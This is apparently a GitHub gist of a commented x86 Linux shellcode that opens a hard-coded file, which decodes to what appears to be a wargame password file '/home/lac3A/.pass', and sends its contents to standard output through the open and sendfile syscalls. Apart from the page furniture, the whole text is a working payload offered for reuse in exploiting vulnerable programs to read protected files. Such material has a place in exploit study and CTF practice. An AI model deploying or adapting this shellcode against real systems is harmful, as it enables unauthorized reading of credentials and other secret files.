Skip to content

Instantly share code, notes, and snippets.

@yarjor
Last active September 28, 2018 16:03
Show Gist options
  • Save yarjor/164a3c78679b5418ac5ecfe3e29ed000 to your computer and use it in GitHub Desktop.
Save yarjor/164a3c78679b5418ac5ecfe3e29ed000 to your computer and use it in GitHub Desktop.
[Read File to STDOUT x86 Shellcode] #shellcode #sendfile #assembly #x86
BITS 32
/* Zero out registers */
xor ecx, ecx
mul ecx
/* NULL byte */
push ecx
/* push filename */
push 0x73
push 0x7361702e
push 0x2f413363
push 0x616c2f65
push 0x6d6f682f
/* filename pointer in ebx */
mov ebx, esp
/* syscall open(filename, 0, 0) */
mov al, 0x5
int 0x80
/* sendfile the received handle to STDOUT (fd 1) */
mov ecx, eax
xor ebx, ebx
mul ebx
inc ebx
mov al, 0xbb
mov esi, eax
shl esi, 8
int 0x80
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment